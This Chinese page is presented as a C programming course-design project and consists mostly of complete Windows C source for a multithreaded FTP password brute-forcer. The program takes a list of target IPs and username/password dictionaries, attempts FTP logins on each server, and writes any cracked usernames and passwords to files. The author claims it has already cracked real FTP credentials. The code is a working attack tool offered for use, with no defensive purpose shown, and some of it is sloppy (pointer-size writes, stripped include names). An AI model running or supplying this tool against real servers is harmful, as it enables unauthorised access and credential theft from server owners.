c语言课程设计之探测FTP密码的程序源码

c语言课程设计之探测FTP密码的程序源码|c语言程序代码编程小程序设计|c语言课程设计报告课程案例
这个程序是用来进行暴力破解的,只需在命令行下输入:
ftp ip.txt 100
其中ip.txt为你要探测的ftp服务器的ip地址,每一行一个ip地址!100为你想要开的线程数!
而其中的必需有两个文件,ftp_user.txt,ftp_pass.txt,跟这段代码生成的可执行程序放在同一个目录下,以上的ip.txt也要放在同一个目录下!只要ftp_user.txt,ftp_pass.txt这两个字典选得好,不长的时间就可以将密码探测出来!本来这段代码是没有把探测出来的密码保存的,我加了几句,可以将用户名和密码都保存下来,分别在同一个目录下的user.txt,和ftp.txt中!
以下的源码在VC6.0下编译通过!!!并曾正确破译出ftp的用户名和密码!
////////////////////////////////////////////////////////// //描述：从指定文件读入IP地址和帐号密码，猜测ftp服务器密码 #include #include #include #pragma comment(lib,"ws2_32.lib") #define PORT 21 #define VERSION 0.1.2 #define LEN sizeof(struct FILEDATA) /////////////////////////////////////////////////////////
//定义全局变量
///////////////////////////////////////////////////////// struct FILEDATA//存放帐号和密码的链表结构体 { char dataLine[64]; struct FILEDATA *next; }; struct SCANPAR//传递给Scan函数的参数结构体 { struct FILEDATA *userHead;//帐号链表的头地址 struct FILEDATA *passHead;//密码链表的头地址 char ipNow[16];//要扫描的扫描的IP }; int currentThread = 0;//当前活动线程 int maxThread = 0;//最大线程数量 char ipFile[48] = { 0 };//IP列表文件名 char *passFlag = "230"; char *userFlag = "331"; ///////////////////////////////////////////////////////// //定义函数原形 ///////////////////////////////////////////////////////// void GetPar(int , char **);//检查命令行参数 void Help(char *);//输出帮助函数 void WatchThread(void);//检测活动线程是否达到最大 void Wait2Quit(void);//等待所有线程退出函数 int WINAPI Scan(LPVOID);//处理帐号密码字典 void Crack(char * , char * , char *);//破解密码函数 struct FILEDATA *ReadDic2Memory(char *);//将帐号字典密码字典读入内存，存入链表 ////////////////////////////////////////////////////////// //主函数，程序入口 ////////////////////////////////////////////////////////// int main( int argc , char *argv[] ) { DWORD threadID = 1; HANDLE threadHandle = NULL; FILE *fpIP = NULL; WSADATA wsaData; struct SCANPAR scanPar; char fileName[48] = { 0 }; //检查并获取命令行参数 GetPar( argc , argv ); if( WSAStartup(MAKEWORD(2,2),&wsaData) != 0 ) { printf( "载入Winsock失败...\n" ); return -1; } 
//打开IP列表文件 fpIP = fopen( ipFile , "r" ); if( fpIP == NULL ) { printf( "打开IP列表文件失败...\n" ); return -1; }
strcpy( fileName , "ftp_user.txt" ); scanPar.userHead = ReadDic2Memory( fileName );//将帐号读入内存 memset( fileName , 0 , sizeof(fileName) ); strcpy( fileName , "ftp_pass.txt" ); scanPar.passHead = ReadDic2Memory( fileName );//将密码读入内存 while( !feof(fpIP) ) { fscanf( fpIP , "%s" , scanPar.ipNow );  WatchThread();  Sleep(20); //生成新线程 threadHandle = CreateThread( NULL , 0 , (LPTHREAD_START_ROUTINE)Scan , (LPVOID)(&scanPar) , 0 , &threadID ); if( threadHandle != NULL ) { CloseHandle(threadHandle); currentThread ++; threadID ++; } } Wait2Quit(); fclose(fpIP); WSACleanup(); return 0; }  int WINAPI Scan(LPVOID par) { struct SCANPAR *scan_Par = (struct SCANPAR *)par; struct FILEDATA *pUser = scan_Par->userHead; struct FILEDATA *pPass = scan_Par->passHead; while( pUser != NULL ) { if( pPass == NULL ) { pPass = scan_Par->passHead; } while( pPass != NULL ) { printf("正在%s上测试%s的密码%s......\n" , scan_Par->ipNow , pUser->dataLine , pPass->dataLine ); Crack( scan_Par->ipNow , pUser->dataLine , pPass->dataLine );
pPass = pPass->next; }
pUser = pUser->next;
}
 
currentThread --;
return 0;
}
 
void Crack( char *ip , char *user , char *pass )
{
SOCKET sock;
SOCKADDR_IN sin;
int flag;
int timeOut;
char recvBuffer[1024] = { 0 };
 
 
sock = socket( AF_INET , SOCK_STREAM , 0 );
if( sock == INVALID_SOCKET )
{
printf( "连接%s建立socket失败\n" ,ip);
return;
}
 
//设置超时时间
timeOut = 2000;
if( setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeOut, sizeof(timeOut)) == SOCKET_ERROR )
{
printf("连接%s设置超时失败\n" , ip );
return;
}
 
memset( &sin , 0 , sizeof(sin) );
sin.sin_family = AF_INET;
sin.sin_port = htons(PORT);
sin.sin_addr.s_addr = inet_addr(ip);
 
flag = connect( sock , (struct sockaddr *)&sin , sizeof(sin) );
if( flag == SOCKET_ERROR )
{
printf( "连接服务器%s失败\n" , ip );
closesocket(sock);
return;
}
 
flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 );
if( flag == SOCKET_ERROR )
{
printf( "%s接受banner数据失败\n" , ip);
closesocket(sock);
return;
}
 
char userCmd[48] = { 0 };
wsprintf( userCmd , "USER %s\r\n" , user );
 
flag = send( sock , userCmd , strlen(userCmd) , 0 );
if( flag == SOCKET_ERROR )
{
printf( "%s发送帐号失败\n" , ip );
closesocket(sock);
return;
}
 
memset( recvBuffer , 0 ,sizeof(recvBuffer) );
 
flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 );
if( flag == SOCKET_ERROR )
{
printf( "%s接受user数据失败\n" , ip );
closesocket(sock);
return;
}
 
if( strlen(recvBuffer) == 0 )
{
printf( "%s接受user数据失败\n" , ip );
closesocket(sock);
return;
}
 
if( strstr(recvBuffer , userFlag) == NULL )
{
printf( "%s用户名没能通过\n" , ip );
closesocket(sock);
return;
}
 
char passCmd[48] = { 0 };
wsprintf( passCmd , "PASS %s\r\n" , pass );
 
flag = send( sock , passCmd , strlen(passCmd) , 0 );
if( flag == SOCKET_ERROR )
{
printf( "%s发送密码失败\n" , ip );
closesocket(sock);
return;
}
 
memset( recvBuffer , 0 , sizeof(recvBuffer) );

 

 
flag = recv( sock , recvBuffer , sizeof(recvBuffer) , 0 );
if( flag == SOCKET_ERROR )
{
printf( "%s接受pass数据失败\n" , ip );
closesocket(sock);
return;
}
 // 
if(strstr(recvBuffer , passFlag))
{
printf( "发现密码：%s\t%s\t%s\n" , ip , user , pass ); FILE * fp;fp = fopen("pwd.txt","wt+");fwrite(pass,sizeof(pass),1,fp);fclose(fp);FILE * fp1;fp1 = fopen("user.txt","wt+");fwrite(user,sizeof(user),1,fp1);fclose(fp1);}
 
closesocket(sock);
return;
}
 
struct FILEDATA *ReadDic2Memory( char *fileName )
{
struct FILEDATA *p1 = NULL;
struct FILEDATA *p2 = NULL;
struct FILEDATA *head = NULL;
FILE *fp = NULL;
int num = 0;//节点数目
 
p1 = p2 = (struct FILEDATA *)malloc(LEN);//开辟新内存单元
if( p1 == NULL )
{
printf( "开辟新内存单元失败...\n" );
exit(-1);
}
 
fp = fopen( fileName , "r" );//打开文件句柄
if( fp == NULL )
{
printf( "打开文件%s失败...\n" , fileName );
exit(-1);
}
 
while( !feof(fp) )
{
num = num + 1;
fscanf( fp , "%s" , p1->dataLine );
 
if( num == 1 )//如果是第一个节点
{
head = p1;
}
else
{
p2->next = p1;
}
 
p2 = p1;
p1 = (struct FILEDATA *)malloc(LEN);
 
fscanf( fp , "%s" , p1->dataLine );
}
 
p2->next = NULL;
 
return head;
}
 
void GetPar( int argc , char *argv[] )
{
//检查命令行参数
if( argc != 3 )
{
Help( argv[0] );
return;
}
 
if( strlen(argv[1]) < 48 )
{
strcpy( ipFile , argv[1] );
}
else
{
printf( "IP列表文件名太长...\n" );
return;
}
 
//从命令行参数获取最大线程数
maxThread = atoi( argv[2] );
if( maxThread <= 0 )
{
printf( "最大线程数错误...\n" );
return;
}
}
 
void WatchThread()
{
while(1)
{
if( currentThread >= maxThread )
{
Sleep(10);
}
else
{
break;
}
}
}
 
void Wait2Quit()
{
while(1)
{
if( currentThread > 0 )
{
Sleep(10);
}
else
{
break;
}
}
}  
void Help(char *program)
{ printf( "Usage:%s\tIP.txt\tMaxThread\n" , program );
exit(-1);
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